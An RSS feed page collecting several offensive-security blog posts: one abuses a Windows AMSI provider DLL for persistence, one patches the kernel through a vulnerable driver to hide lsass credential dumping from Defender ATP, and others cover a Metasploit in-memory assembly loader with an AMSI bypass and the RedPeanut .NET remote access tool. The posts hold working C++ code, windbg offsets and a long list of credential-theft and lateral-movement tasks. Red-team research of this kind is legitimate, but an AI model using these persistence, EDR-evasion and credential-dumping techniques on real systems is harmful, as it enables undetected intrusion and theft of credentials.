RSS Security

❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayB4rtik

Antimalware Scan Interface Provider for Persistence

11 July 2020 at 00:00

This blog post explains how you can execute arbitrary code and maintain access to a Microsoft Windows system by leveraging AMSI provider.


Windows Antimalware Scan Interface (AMSI) is an interface standard that allows applications and services to integrate with any antimalware product installed on the system. For example, if an AV vendor wants to intercept the powershell commands after they have been decoded they must have their scan engine interfaced with AMSI. The same for Assembly.Load.

AMSI is integrated into the following components of Windows 10.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

AMSI Provider

AMSI Provider is the component responsible for the scan by the Antimaware product. This component must implement the IAntimalwareProvider interface which has the following methods

Method Description
IAntimalwareProvider::CloseSession Closes the session
IAntimalwareProvider::DisplayName The name of the antimalware provider to be displayed
IAntimalwareProvider::Scan Scan a stream of content

To function as an AMSI provider, the component (DLL) must be registered as an in-process COM server. The registration process can be done in two ways:

  1. Implementing the DllRegisterServer method into the DLL and register it with the regsvr32 command

  2. Manual setting of the following registry keys

    1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID (Default) REG_SZ β€œProvider description”
    2. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (Default) REG_EXPAND_SZ β€œPath to Dll” - ThreadingModel REG_SZ β€œBoth”
    3. HKLM\SOFTWARE\Microsoft\AMSI\Providers\ "GUID"

Administrator privileges are required to register a provider. Once registered, the Dll will be loaded into any process involving AMSI (powershell, clr, etc.) and the Scan method

HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)

will be invoked when a content is scanned

Using AMSI Provider for Persistence

So if we can provide a malicious DLL and register it as a provider, we can make a persistence that triggers a β€œscan request” for antimalware :). In addition, from the Scan method passes the content to be analyzed so in the case of powershell we will have the possibility to analyze the commands sent and then trigger the execution of the malware only in the case of specific words

An example of the implementation of the Scan method

HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
	_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
	_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");

	UNICODE_STRING myTriggerString1;
	RtlInitUnicodeString(&myTriggerString1, L"Run my malware");

	UNICODE_STRING myTriggerString2;
	RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");

	UNICODE_STRING myTriggerString3;
	RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");

	ULONG actualSize;
	ULONGLONG contentSize;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
		actualSize == sizeof(ULONGLONG))

		return S_OK;

	PBYTE contentAddress;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
		actualSize == sizeof(PBYTE))

		return S_OK;

	if (contentAddress)
		if (contentSize < 50)
			myuni.Buffer = (PWSTR)contentAddress;
			myuni.Length = (USHORT)contentSize;
			myuni.MaximumLength = (USHORT)contentSize;

			if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))

				DWORD thId;
				CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);


	return S_OK;

AmsiProvider.cpp Β· GitHub


Starting with the Windows 10 1903 release, Microsoft introduced a way to enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks for providers. But this feature is not enabled by default. To enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks, set the key


to 0x2 (DWORD) .

Evading WinDefender ATP credential-theft: kernel version

15 February 2020 at 00:00


A few weeks ago uf0 and myself took some time to understand how WinDefender ATP credential-theft. We were intrigued by this words in the presentation post

"A statistical approach to detecting credential theft. Reviewing the behavior of multiple known tools, we see that the number and size of memory reads from the lsass.exe process related to credential dumping are highly predictable. "

We started our research from Ring3 but, even if we identified a possible way to escape this control, we have not seen any hook types on NtReadVirtualMemory. So we took a look at what's going on inside NtReadVirtualMemory.

Dumpert vs ATP

Dumpert is a tool to dump the lsass process memory. It uses direct syscall and Native API unhook to evade AV and EDR controls. While this type of approach is effective against detection based on API hooking, Dumpert is unable to evdate MDATP detection mechanisms.

With my friend uf0, while shooting at MDATP logic, we found a user-mode way to evade control over the strength of the credentials between a known API PssCaptureSnapshot. During the research, at least in user mode, we did not find any traces of hook or anything set by ATP. So it is legitimate to think that any detection is performed from Ring0.

How ATP trace ReadVirtualMemory

Dumpert is based on the MiniDumpWriteDump function which, in turn, is based on NtReadVirtualMemory. Even when unhooking, the code that is actually executed is the following.

0:002> uf ntdll!NtReadVirtualMemory
00007fff`11e5c890 4c8bd1          mov     r10,rcx
00007fff`11e5c893 b83f000000      mov     eax,3Fh
00007fff`11e5c898 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007fff`11e5c8a0 7503            jne     ntdll!NtReadVirtualMemory+0x15 (00007fff`11e5c8a5)  Branch

00007fff`11e5c8a2 0f05            syscall
00007fff`11e5c8a4 c3              ret

00007fff`11e5c8a5 cd2e            int     2Eh
00007fff`11e5c8a7 c3              ret

The syscall transfers the context from user mode to kernel mode. If we dive into the implementation of nt!NtReadVirtualMemory we find inside the call to nt!MiReadWriteVirtualMemory.

lkd> uf nt!NtReadVirtualMemory
fffff801`25a22a80 4883ec38        sub     rsp,38h
fffff801`25a22a84 488b442460      mov     rax,qword ptr [rsp+60h]
fffff801`25a22a89 c744242810000000 mov     dword ptr [rsp+28h],10h
fffff801`25a22a91 4889442420      mov     qword ptr [rsp+20h],rax
fffff801`25a22a96 e815000000      call    nt!MiReadWriteVirtualMemory (fffff801`25a22ab0)
fffff801`25a22a9b 4883c438        add     rsp,38h
fffff801`25a22a9f c3              ret

In recent windows versions, before reading the target memory, the kernel checks that the call occurs from user mode, to prevent it from reading a protected processes or kernel address space. As you can see below, in addition to the checks mentioned, there is a call to nt!EtwTiLogReadWriteVm. So, to log the event, ATP uses Etw and this is where the nt!NtReadVirtualMemory is logged.

lkd> uf nt!MiReadWriteVirtualMemory

fffff801`25a22c7e 48897c2428      mov     qword ptr [rsp+28h],rdi
fffff801`25a22c83 4c89642420      mov     qword ptr [rsp+20h],r12
fffff801`25a22c88 448bca          mov     r9d,edx
fffff801`25a22c8b 4d8bc6          mov     r8,r14
fffff801`25a22c8e 498bd2          mov     rdx,r10
fffff801`25a22c91 8bce            mov     ecx,esi
fffff801`25a22c93 ebe8e8f70200      call    nt!EtwTiLogReadWriteVm (fffff801`25a52480)
fffff801`25a22c98 eb90            jmp     nt!MiReadWriteVirtualMemory+0x17a (fffff801`25a22c2a) 

lkd> uf nt!EtwTiLogReadWriteVm
fffff801`25a52480 48895c2420      mov     qword ptr [rsp+20h],rbx
fffff801`25a52485 894c2408        mov     dword ptr [rsp+8],ecx
fffff801`25a52489 55              push    rbp
fffff801`25a5248a 56              push    rsi
fffff801`25a5248b 57              push    rdi

fffff801`25bc7b4d e8161796ff      call    nt!EtwpTiFillProcessIdentity (fffff801`25529268)
fffff801`25bc7b52 4403c8          add     r9d,eax
fffff801`25bc7b55 488d8db0000000  lea     rcx,[rbp+0B0h]
fffff801`25bc7b5c 418bc1          mov     eax,r9d
fffff801`25bc7b5f ba08000000      mov     edx,8
fffff801`25bc7b64 4803c0          add     rax,rax
fffff801`25bc7b67 41ffc1          inc     r9d
fffff801`25bc7b6a 4533c0          xor     r8d,r8d
fffff801`25bc7b6d 8364c44c00      and     dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b72 48894cc440      mov     qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b77 488d8db8000000  lea     rcx,[rbp+0B8h]
fffff801`25bc7b7e 8954c448        mov     dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7b82 418bc1          mov     eax,r9d
fffff801`25bc7b85 4803c0          add     rax,rax
fffff801`25bc7b88 8364c44c00      and     dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b8d 48894cc440      mov     qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b92 41ffc1          inc     r9d
fffff801`25bc7b95 488b0de4d0c6ff  mov     rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff801`25834c80)]
fffff801`25bc7b9c 8954c448        mov     dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7ba0 488d442440      lea     rax,[rsp+40h]
fffff801`25bc7ba5 488bd3          mov     rdx,rbx
fffff801`25bc7ba8 4889442420      mov     qword ptr [rsp+20h],rax
fffff801`25bc7bad e8ce0e8aff      call    nt!EtwWrite (fffff801`25468a80)
fffff801`25bc7bb2 90              nop
fffff801`25bc7bb3 e939a9e8ff      jmp     nt!EtwTiLogReadWriteVm+0x71 (fffff801`25a524f1)  Branch

Tampering the kernel

Now that we know where the read notification occurs, it is possible to think about a way to use Dumpert without ATP performing the detection via Etw. For example, if we patch the kernel by inserting a RET at the begining of nt! EtwTiLogReadWriteVm function we can bypass any logging. And probably don’t generate the alert from MDATP. Thinking about kernel patching, all we need is to being able to write in the kernel memory space from Ring3. At first we thought - for the purpose of PoC - to develop a useful driver for our purposes. Then I remembered a chat discussion with Cn33liz in which he gave me the example of code executed in Ring0 through a vulnerable driver. He mentioned a post Weaponizing vulnerable driver for privilege escalationβ€” Gigabyte Edition! where you can see an example of weaponization of a vulnerable diver for priv esc and removal of Process Protect Mode. With the ability to perform reads and writes from kernel mode, we have to find a signature to look for. We are working on Windows 10 1909 and our reference is

fffff804`0e45291c 4183f910        cmp     r9d,10h
fffff804`0e452920 b800000c00      mov     eax,0C0000h
fffff804`0e452925 41b800000300    mov     r8d,30000h

With windbg we can check if the signature is unique in our search range with

lkd> s -[1]b nt L0x1000000 41 83 f9 10 b8 00 00 0c 00 41 b8 00 00 03 00

Now to calculate back offset

lkd> ? fffff804`0e45291c - nt!EtwTiLogReadWriteVm
Evaluate expression: 76 = 00000000`0000004c

To recover the base address of the kernel we can use NtQuerySystemInformation with SystemModuleInformation as SystemInformationClass

if (!NT_SUCCESS(status = NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, 1024 * 1024, NULL)))
  printf("\nError: Unable to query module list (%#x)\n", status);

  VirtualFree(ModuleInfo, 0, MEM_RELEASE);
  return -1;

So, iterating between the loaded modules, we look for ntoskrnl.exe and apply the patch to the offset obtained searching the pattern we idetified minus the back offset calulated with windbg.

for (i = 0; i < ModuleInfo->NumberOfModules; i++)
    if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
	printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);

	uintptr_t pml4 = find_directory_base(ghDriver);

	BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
	    DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
	    printf("[*] Offset %d\n", offset - backoffset);

	    patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");

	    printf("[+] Run your command now\n");

	    int retCode = system(argv[1]);

            printf("[+] Execution finished with exit code: %d\n", retCode);
	    printf("[*] Errore reading kernel memory \n");

When we tried to execute the PoC for the first time what we expected was a great success or a BSOD. Reality has been liying in the middle. Our tool has applied the patch and the execution of Dumper has not raised alarms, but after a few minutes the workstation has restarted. Checking in event viewer we found logged the 1001 (EventData 0x00000109) code sign of the Kernel Patch Protection intervention.

Kernel Patch Protection periodically performs a check to make sure that the kernel’s protected system structures have not changed. If a change is detected, the result is a blue screen and / or a restart.

Our intention was not exactly to find a bypass for patch guards, but at least to limit the annoyance of the BSOD itself. We know that the KPP check routine is hit our patch every 5 to 10 minutes, and that our execution time is a few seconds. The idea is to have the kernel patched only for the time necessary to perform the operation, at the end restore the initial state. Partial source code with relevant part is available here here.

for (i = 0; i < ModuleInfo->NumberOfModules; i++)
    if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
	printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);

	uintptr_t pml4 = find_directory_base(ghDriver);

	BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
	    DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
	    printf("[*] Offset %d\n", offset - backoffset);

	    BYTE EtwTiLogReadWriteVmOri = patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");

	    printf("[+] Run your command now\n");

	    int retCode = system(argv[1]);

            printf("[+] Execution finished with exit code: %d\n", retCode);
	    printf("[+] Proceed to restore previous state.\n");

	    patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm", EtwTiLogReadWriteVmOri);
	    printf("[*] Errore reading kernel memory \n");


Based on our observations, the probability of catching the exact moment when the control turns is low and the single byte patch does his job. MDATP's instrumentation is much more than this single sensor, and we've played a dirty game to disable tracing. We wonder how it is possible that this specific driver is still allowed in the OS.

Execute assembly via Meterpreter session - Part 2

6 October 2019 at 00:00

Recently I push some updates to the project after an exchange of ideas on the possibility of creating a PR towards the Metasploit master branch.

The most significant are:


Added the ability to inject HostingCLR into an existing process via the PID parameter Added the ability to specify the process to be created instead of notepad.exe Added parameter to enable / disable Amsi bypass Refactoring of the code to comply with Metasploit best practices


Added functionality to detect the CLR necessary for the assembly in order to load the correct one, thus also supporting .Net 3.5 assemblies. Added verification of the CLR already loaded in the process, if already loaded a new one is not instantiated. Amsi Bypass using AmsiScanBuffer patching technique.

In the first part I focused more on the ruby ​​code because the implementation of the HostingCLR dll was almost the same as presented by Etor Madiv in his original project. In this second part we will instead focus on improving the dll in order to be feasible for a PR on the Metasploit main branch.

How to find witch CLR version is needed

To be able to load the correct CLR version we need to know witch version the assembly requires. Furthermore, the verification must be able to be performed on a byte array.

The first thing that comes up in mind is to see if it is possible to find a signature inside the byte array to determine the version. A Windows executable, EXE or DLL, must conform to a file format called PE. A standard Windows PE file is divided into sections:

  1. MS-DOS header
  2. PE header
  3. optional header
  4. Native Image Section (.data, .rdata, .rsrc, .text)

These are the standard sections of a typical Windows executable. The C/C++ compiler allows you to add your custom sections to the PE file using a #pragma compiler directive.

What about the CLR? Metadata and IL code find space in an extension of the COFF/PE format.

The CLR data part contains metadata and IL code, both determine how the program will be executed. Compilers for the CLR must issue both the CLR header and the data information in the generated PE file, otherwise the resulting PE file will not be executed in the CLR. The CLR header holds a number of relevant details required by the runtime, like Runtime, MetaData directory and Entry point token.

MS Docs

So now we know that it is possible to extract the version. Opening a .Net assembly with HxD we can see how the version changes by rebuilding with different Target Frameworks and determining signatures for the search.

.Net 4.0

.Net 3.5

CLR v4.0.30319 - 76 34 2E 30 2E 33 30 33 31 39 CLR v2.0.50727 - 76 32 2E 30 2E 35 30 37 32 37

Load CLR only if needed

Another interesting idea is the possibility to load the CLR only if necessary.

For example we could think of using for the PROCESS powershell.exe parameter that we know to be a .Net process or to locate the pid of a .Net process, and go to load the assembly directly using the CLR already available.

This can be easily done by going to enumerate the runtimes loaded through EnumerateLoadedRuntime

If the required runtime is already loaded, use it without creating a new one.

Amsi bypass

Starting from the version of the Framework 4.8 Anti Malware Scan Interface is also integrated into the CLR, this means that the Assembly.Load call is subject to scanning by Amsi.

For the Amsi bypass I opted for AmsiScanBuffer Patching tencique.

Introducing RedPeanut

26 August 2019 at 00:00
____[email protected]b4rtik

Currently being tested.

RedPeanut is a small RAT developed in .Net Core 2 and its agent in .Net 3.5 / 4.0. RedPeanut code execution is based on shellcode generated with DonutCS. It is therefore a hybrid, although developed in .Net it does not rely solely on the Assembly.Load. This increases the detection surface, but allows us to practice and experiment with various evasion techniques related to the dotnet environment, process management and injection. This behavior can be changed at rutime with the "managed" and "unmanaged" commands. If you are interested in a .Net C2 Framework that is consistent and can be used in an enagement, I suggest Covenant.

RedPeanut is weaponized with:

  • GhostPack
  • SharpGPOAbuse
  • SharpCOM
  • EvilClippy
  • DotNetToJS
  • SharpWeb
  • Modified version of PsExec
  • SharpSploit
  • TikiTorch

RedPeanut Agent

The RedPeanut agent can be compiled in .Net 3.5 and 4.0 and has pivoting capabilities via NamedPipe. The agent, when executed in an unmanaged mode, performs its own critical tasks in a separate process to prevent the AV response to detection or error during execution make you lose the whole agent.

The execution flow is as follow:

  1. Process creation
  2. Inject static shellcode generated with DonutCS
  3. The loader loads and executes the stager or module

The agent currently only supports https channel.

C2 Channel

The agent checkin protocol is very simple:

  1. The stager requires an agent id, the message is encrypted with RC4 with the shared serverkey
  2. The server decrypt the message, compile and sends the agent, generate and send KEY and IV for future communications AES encryption, the message is encrypted RC4
  3. The stager decrypt the message and load the agent via Assembly.Load
  4. The agent sends a checkin message to the server, the message is encrypted with AES

Alternatively, the covered channel feature can be activated(at the moment it is just a PoC). The idea is to imitate the web traffic carried out by a real user. Usually a web page is composed of the html page and all the objects necessary for its display as css, images, etc. At the request of a new task the answer from the server will not be directly the encrypted task but an html page from which to extract the link to the image that will have embedded the encrypted task. The http request for the image will contain the Referer header.

Content delivery

Content delivery is organized in 4 channels:

  1. C2 Channe customizable via profile
  2. Dynamic content generated/managed by RedPeanut customizable via profile
  3. Static content mapped to /file/
  4. Covered channel for the recovery of the image containing the payload mapped to /images/


RedPeanut capability of customization of network footprint both server side and client side. The properties that can be set are:

  • General
    • Delay (between requests)
    • ContentUri (url of dynamic content eg. dll hta etc.)
    • UserAgent
    • Spawn (the process to create to perform critical tasks)
    • HtmlCovered (Enable covered channel)
    • TargetClass (Class to search for image recover)
  • Http Get
    • ApiPath (comma separated list of url es /news-list.jsp,/antani.php etc.)
    • Server
      • Prepend
      • Append
      • Headers (name and value pair for http headers)
    • Client
      • HeadersΒ Β Β Β 
  • Http Post
    • ApiPath (comma separated list of url es /news-list.jsp,/antani.php etc.)
    • Param (the name of the post request payload parameter)
    • Mask (format for interpreting the key value pair eg {0}={1}) (need more work...)
    • Server
      • Prepend
      • Append
      • Headers (name and value pair for http headers)
    • Client
      • Headers

Domain Fronting

To enable the domain fronting support it is necessary to value the "Host" header in the client section, both post and get (exemplified in the default profile 2)


The PowerShellExecuter module allows you to execute oneliner commands or files in a runspace with AMSI bypass, Logging bypass and PowerView already loaded.


  • Exe
  • Dll
  • PowerShell
  • Hta (vbs,powershell)
  • InstallUtil
  • MSBuild
  • MacroVba

Local modules

  • EvilClippy

Agent Tasks

  • Upload
  • DownLoad
  • SharpWeb
  • SharpWmi
  • SharpUp
  • UACBypass Token Duplication
  • SharpDPAPIVaults
  • SharpDPAPITriage
  • SharpDPAPIRdg
  • SharpDPAPIMasterKeys
  • SharpDPAPIMachineVaults
  • SharpDPAPIMachineTriage
  • SharpDPAPIMachineMasterKeys
  • SharpDPAPIMachineCredentials
  • SharpDPAPICredentials
  • SharpDPAPIBackupKey
  • Seatbelt
  • SafetyKatz
  • RubeusTriage
  • RubeusTgtDeleg
  • RubeusS4U
  • RubeusRenew
  • RubeusPurge
  • RubeusPtt
  • RubeusMonitor
  • RubeusKlist
  • RubeusKerberoast
  • RubeusHash
  • RubeusHarvest
  • RubeusDump
  • RubeusDescribe
  • RubeusCreateNetOnly
  • RubeusChangePw
  • RubeusASREPRoast
  • RubeusAskTgt
  • SharpCOM
  • SharpGPOAddUserRights
  • SharpGPOAddStartupScript
  • SharpGPOAddLocalAdmin
  • SharpGPOAddImmediateTask
  • PowerShellExecuter
  • LatteralMSBuild
  • SharpPsExec
  • SharpAdidnsdump
  • PPIDAgent
  • SpawnAsAgent
  • SpawnShellcode
  • SpawnAsShellcode
  • SharpMiniDump


  • Autorun
  • Startup
  • WMI
  • CRL


Starting with version 0.3.0 RedPeanutAgent supports the blockdlls command. With this option enabled, child processes that are created to perform tasks in unmanaged mode are created with the attribute PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. This attribute prevents the process of loading dlls that are not signed by Microsoft, this could protect our tasks from AV and EDR hooking techniques. Credits for using this process creation mitigationpolicy goes to @xpn

Direct Sysstem Call and Dynamic Dll Loading

RedPeanutAgent uses Dynamic Dll loading to avoiding using of suspicious Dll Imports. Credits for Dynamic Dll Loading goes to @TheRealWover, @cobbr_io and @FuzzySec for their work in SharpSploit.

Some AV and EDR vendors used hooking technique to keep track of activities. To avoid using hooked syscall RedPeanutAgent uses direct syscall, auto injecting the necessary code. Credits for Direct Syscall goes to @Cneelis


To run RedPeanut you need to have dotnet installed. To install dotnet on Kali:

wget -qO- | gpg --dearmor > microsoft.asc.gpg
mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q
mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
chown root:root /etc/apt/sources.list.d/microsoft-prod.list

apt-get install apt-transport-https
apt-get update
apt-get install dotnet-sdk-2.1
git clone --recursive

For the covered channel functionality it is necessary to install the libgdiplus library, therefore:

For linux users:

apt-get install -y libgdiplus

For OSx

brew install mono-libgdiplus

Assembly signing key generation

C:\Program Files (x86)\Microsoft Visual Studio\2017\Community>sn.exe -k 4096 key.snk

Than copy key.snk in Workspace/KeyFile

[email protected]:~# cd RedPanut
[email protected]:~/RedPeanut# dotnet run
Using launch settings from /root/Projects/RedPeanut/Properties/launchSettings.json...
Enter password to encrypt serverkey: 

____[email protected]b4rtik

[*] No profile avalilable, creating new one...
[RP] >

Shellcode generator

DonutCS is a shellcode generation tool that creates position-independant shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode.

CLR Persistence

The CLR persistence technique was presented for the first time in this post by @Am0nsec. The technique consists in carrying out the application domain manager hooking. As described in the post, the assembly to carry out hooking is necessary which is available in the GAC. An assembly to be used from the GAC must be strong-named and then signed with a key. The CLR persistence module needs a key to be able to sign the assemblies, which can be generated with the sn.exe tool as follows:

** Visual Studio 2017 Developer Command Prompt v15.9.3
** Copyright (c) 2017 Microsoft Corporation

C:\Program Files (x86)\Microsoft Visual Studio\2017\Community>sn.exe -k 4096 key.snk

Copy the key.snk file to Workspace/KeyFile folder. This file will be used to sign the assembly for persistence.

Tools updating

Some of the well-known tools present in RedPeanut such as the GhostPack tools are wrapped in full and executed on the client side. To update the tools, for example SeatBelt, without updating the entire repository is necessary: Clone the Seatbelt repository, rename the "Main" method in "Execute", insert the public modifier and recompile as dll. The dll must be compressed and encoded in Base64 with the ps RastaMouse's script Get-CompressedShellcode.ps1


Execute assembly via Meterpreter session

27 December 2018 at 00:00


Windows to run a PE file relies on reading the header. The PE header describes how it should be loaded in memory, which dependencies has and where is the entry point. And what about .Net Assembly? The entry point is somewhere in the IL code. Direct execution of the assembly using the entry points in the intermediate code would cause an error. This is because the intermediate code should not be executed first but the runtime will load the intermediate code and execute it.

Hosting CLR

In previous versions of Windows, execution is passed to an entry point where the boot code is located. The startup code, is a native code and uses an unmanaged CLR API to start the .NET runtime within the current process and launch the real program that is the IL code. This could be a good strategy to achieve the result. The final aim is: to run the assemply directly in memory, then the dll must have the assembly some where in memory, any command line parameters and a reference to the memory area that contains them.

Execute Assembly

So I need to create a post-exploitation module that performs the following steps:

  1. Spawn a process to host CLR (meterpreter)
  2. Reflectively Load HostCLR dll (meterpreter)
  3. Copy the assembly into the spawned process memory area (meterpreter)
  4. Copy the parameters into the spawned process memory area (meterpreter)
  5. Read assembly and parameters (dll)
  6. Execute the assembly (dll)

To start the Host process, metasploit provides Process.execute which has the following signature:

Process.execute (path, arguments = nil, opts = nil)

The interesting part is the ops parameter:

  • Hidden
  • Channelized
  • Suspended
  • InMemory

By setting Channelized to true, I can read the assembly output for free with the call

Once the Host process is created, Metasploit provides some functions for interacting with the memory of a remote process:

  • inject_dll_into_process
  • memory.allocate
  • memory.write

The inject_dll_into_process function copies binary passed as an argument to a read-write-exec memory area and returns its address and an offset of the dll's entry point.

exploit_mem, offset = inject_dll_into_process (process, library_path)

The memory.allocate function allocates memory by setting the required protection mode. In this case I will write the parameters and the assembly in the allocated memory area, for none of these two elements I need the memory to be executable so I will set RW.

I decided to organize the memory area dedicated to parameters and assemblies as follows:

  • 1024 bytes for the parameters
  • 1M for the assembly

assembly_mem = process.memory.allocate (1025024, PAGE_READWRITE)

The third method allows to write data to a specified memory address.

process.memory.write (assembly_mem, params + (exe_path))

Now I have the memory address of dll, the offset to the entry point, the memory address fo both the parameters and the assembly to be executed. Considering the function

Thread.create (entry, parameter = nil, suspended = false)

I can use the memory address of dll plus the offset as a value for the entry parameter and the address the parameter and assembly memory area as the parameter parameter value.

process.thread.create (exploit_mem + offset, assembly_mem)

This results in a call to the entry point and an LPVOID pointer as input parameter.

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

It's all I need to recover the parameters to be passed to the assembly and the assembly itself.

ReadProcessMemory(GetCurrentProcess(), lpPayload, allData, RAW_ASSEMBLY_LENGTH + RAW_AGRS_LENGTH, &readed);

About the assemblies to be executed, it is important to note that the signature of the Main method must match with the parameters that have been set in the module, for example:

  • If the property ARGUMENTS is set to "antani sblinda destra" the main method should be "static void main (string [] args)"
  • If the property ARGUMENTS is set to "" the main method should be "static void main ()"

Chaining with SharpGen

A few days ago I read a blog post from @cobb_io where he presented an interesting tool for inline compilation of .net assemblies. By default execute-assembly module looks for assemblies in $(metasploit-framework-home)/data/execute-assembly but it is also possible to change this behavior by setting the property ASSEMBLYPATH for example by pointing it to the SharpGen Output folder in this way I can compile the assemblies and execute them directly with the module.

Source code